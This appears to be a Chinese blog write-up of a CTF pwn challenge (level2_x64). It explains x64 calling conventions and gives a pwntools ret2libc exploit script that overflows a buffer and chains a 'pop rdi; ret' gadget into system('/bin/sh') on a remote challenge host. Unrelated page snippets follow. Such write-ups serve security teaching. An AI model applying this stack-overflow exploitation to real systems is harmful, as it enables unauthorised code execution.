夏令營第二週pwn的level x64題總結

2021-09-25 14:08:36 字數 2306 閱讀 5925

首先:

linux_64與linux_86(32位)的區別主要有兩點:

首先是記憶體位址的範圍由32位變成了64位。但是可以使用的記憶體位址不能大於0x00007fffffffffff,否則會丟擲異常。其次是32位是通過棧傳參,而64位通過edi暫存器傳參,函式引數的傳遞方式發生了改變,x86(32位)中引數都是儲存在棧上,但在x64中的前六個引數依次儲存在rdi,rsi,rdx,rcx,r8和 r9中,如果還有更多的引數的話才會儲存在棧上。

做pwn的level題目的步驟(技巧):

(1)找到棧溢位位址,基本上都是buf的位址,這個需要用32位或64進行轉碼後儲存(避免發生亂碼)才能用pwntools中sendline傳送到遠端連線

(2)構建shellcode,基本都是「shellcode=asm(shellcraft.sh())」

(3)構建payload,payload的基本構建:payload=shellcoad+』 a』 *乙個長度+p64(buf_addr),次序一定不能亂』

(4):傳送payload,進行互動,得到shell的控制權,然後ls,cat flag。

今天我來總結一下pwn的level2_x64:

我們直接把題目放進ubuntu虛擬機器檢視題目:

發現題目的arch模組是64位的;nx保護模式開啟,就沒有辦法直接插入shellcode來執行了,但是我們可以看到程式呼叫了system函式,

所以我們可以通過return2libc來繞過nx,直接傳入binsh引數來開啟伺服器的shell

接下把檔案放進idax64分析:

1)發現函式有system函式,於是按f5檢視偽**:找主函式(main)和vulnerable()函式在然後vulnerable()函式中有乙個read函式存在棧溢位漏洞。

因為題目的nx保護模式開啟,所無法構建shellcode拿到shell,所以我們要想辦法洩露記憶體資訊,找到system()函式的值,然後在傳遞「/bin/sh」到.bss段。因為源程式使用了write()函式和read()函式,又因為題目中有libc()函式,所以可以通過write()去輸出write.got的位址,從而計算libc.so在記憶體中的位址

我們使用pop_ret將我們寫到棧中的引數放到rdi中(大佬們稱此為平衡棧幀)。

接下來我們只要找到乙個pop rdi;ret 就可以了。

這裡,我們使用ropgadget尋找這個指令片段

找字串(string):

快捷:

基礎:

找到pop rdi ; ret 片段的位址,我們直接利用起來構造payload就行了

#!/usr/bin/env python

from pwn import *

p=remote(『pwn2.jarvisoj.com』,9882)

p.recvuntil(『input:』)

system_addr=0x04004c0

pop_addr=0x04006b3

sh_addr=0x0600a90

payload=『a』*0x80+『a』*8+p64(pop_addr)+p64(sh_addr)+p64(system_addr)+『a』*8

p.sendline(payload)

執行結果:

更容易理解部落格:

開源夏令營 二 Docker 環境搭建

在不同發行版上面如何安裝,官方的文件寫得很明白了 點此傳送 在這裡,就以我使用的是 ubuntu server 14.04 為例,介紹下在這個系統下面的安裝 首先是docker倉庫公鑰 sudo apt key adv keyserver hkp recv keys 36a1d7869245c895...

2023年開源夏令營第1周

這是選定題目開始的第一周,其實看了報名名單之後,覺得自己並沒有太大希望,所以報名之後也沒做什麼實質性工作,再次感謝康師傅,對我的信任。第一周一般都是具體規劃分析的階段,實驗了不少方案,我也藉此平台整理一下自己的思路吧。按照題目第一階段要求,我所需要做的事情主體上是將hackrf的驅動移植到andro...

開源夏令營第七周 lwip穩定性測試

將龍芯2f筆記本作為tcp client,開發板作為 tcp server 筆記本構造隨機長度 長度在1 1000之間 的隨機字串,tcp server作為回顯伺服器 利用單執行緒的阻塞模型,測試了3 24小時 一切收發正常,傳送420658個字串,接收420658個字串,平均來看乙個字串有0.5k...